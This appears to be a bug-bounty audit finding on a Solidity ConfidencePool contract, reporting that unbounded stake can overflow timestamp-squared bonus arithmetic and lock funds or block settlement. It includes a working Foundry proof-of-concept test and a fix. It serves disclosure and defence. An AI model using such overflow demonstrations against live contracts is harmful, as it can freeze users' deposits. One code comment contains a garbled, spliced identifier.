FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: low
Likelihood: low

Unbounded aggregate stake can overflow k=2 bonus accounting and block settlement

Author Revealed upon completion

Summary

The pool accepts any received stake amount above minStake, but the k=2 bonus accounting later multiplies stake by timestamp squared using plain uint256 arithmetic. With a very large but standard ERC20 balance, those multiplications can overflow and either prevent risk-window sealing or make later SURVIVED/EXPIRED claims revert.

Vulnerability Details

Vulnerable code: src/ConfidencePool.sol:252-253, src/ConfidencePool.sol:704-708, src/ConfidencePool.sol:814-815

Stake accounting records amount * timestamp and amount * timestamp^2 directly:

uint256 newEntry = block.timestamp;
@> uint256 contribTime = received * newEntry;
@> uint256 contribTimeSq = received * newEntry * newEntry;
eligibleStake[msg.sender] += received;
userSumStakeTime[msg.sender] += contribTime;
userSumStakeTimeSq[msg.sender] += contribTimeSq;
totalEligibleStake += received;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;

When the risk window opens, the global sums are recomputed from aggregate stake:

@> sumStakeTime = totalEligibleStake * t;
@> sumStakeTimeSq = totalEligibleStake * t * t;

Claims later recompute the k=2 score with the same raw multiplication pattern:

@> uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
@> uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;

There is no cap on received, eligibleStake, or totalEligibleStake to ensure these timestamp-squared products stay inside uint256.

This is not a normal-token issue. The finding needs an allowlisted token with very large balances/supply. But the contract currently has no local guard preventing that class of allowed token from creating an accounting DoS.

Impact

Likelihood: Low

This requires a pathological but otherwise standard ERC20 amount. Most real ERC20 supplies will never reach the threshold.

Impact: Low

The issue can break pool accounting for that token/pool. Depending on where the overflow is hit, the risk window may fail to seal, bonus may be swept as if no risk was observed, or SURVIVED/EXPIRED claims may revert and leave funds stuck until manual intervention is possible.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract AuditLowAggregateStakeOverflowTest is BaseConfidencePoolTest {
function testAggregateStakeOverflowPreventsRiskWindowAndSweepsBonus() external {
uint256 stakeTime = block.timestamp;
uint256 riskTime = stakeTime + 30 days;
// Each individual stake is safe at stakeTime, and the live pre-risk sums stay safe.
// The combined stake only overflows when _markRiskWiAuditLowAggregateStakeOverflowTestndowStart recomputes globals at riskTime.
uint256 amountEach = type(uint256).max / (riskTime * riskTime) / 2 + 1;
_stake(alice, amountEach);
_stake(bob, amountEach);
_contributeBonus(carol, 100 * ONE);
assertLe(pool.sumStakeTimeSq(), type(uint256).max);
assertEq(pool.totalEligibleStake(), amountEach * 2);
vm.warp(riskTime);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert();
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0, "overflow leaves risk window unsealed");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice) - aliceBefore, amountEach, "alice receives principal only");
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
assertEq(token.balanceOf(bob) - bobBefore, amountEach, "bob receives principal only");
uint256 recoveryBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery) - recoveryBefore, 100 * ONE, "bonus is swept as no-risk bonus");
}
function testAggregateStakeOverflowMakesSurvivedClaimsRevert() external {
uint256 stakeTime = block.timestamp;
uint256 riskTime = stakeTime + 1 days;
uint256 terminalTime = stakeTime + 30 days;
// Safe for staking and for _markRiskWindowStart at riskTime, but too large for the
// later k=2 denominator at terminalTime.
uint256 amountEach = type(uint256).max / (terminalTime * terminalTime) / 2 + 1;
_stake(alice, amountEach);
_stake(bob, amountEach);
_contributeBonus(carol, 100 * ONE);
vm.warp(riskTime);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), riskTime);
vm.warp(terminalTime);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(alice);
vm.expectRevert();
pool.claimSurvived();
vm.prank(bob);
vm.expectRevert();
pool.claimSurvived();
assertEq(pool.totalEligibleStake(), amountEach * 2, "principal remains recorded but unclaimable");
assertEq(token.balanceOf(address(pool)), amountEach * 2 + 100 * ONE, "pool balance remains locked");
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
pool.sweepUnclaimedBonus();
}
}

Running PoC:

Copy the test into test/unit/AuditLowAggregateStakeOverflowTest.t.sol, then run:

forge test --match-contract AuditLowAggregateStakeOverflowTest -vvv

Output:

[PASS] testAggregateStakeOverflowPreventsRiskWindowAndSweepsBonus()
[PASS] testAggregateStakeOverflowMakesSurvivedClaimsRevert()

Tools Used

Manual review, Foundry-style PoC.

Recommendations

Add a maximum aggregate stake bound before updating k=2 accounting. The bound should guarantee that stake * timestamp^2 cannot overflow for the largest timestamp the pool supports.

+ uint256 private constant MAX_K2_STAKE =
+ type(uint256).max / uint256(type(uint32).max) / uint256(type(uint32).max);
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
+ if (totalEligibleStake + received > MAX_K2_STAKE) revert InvalidAmount();
_clampUserSums(msg.sender);
...
}

If a custom error is preferred, use something clearer than InvalidAmount, for example StakeTooLarge().

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!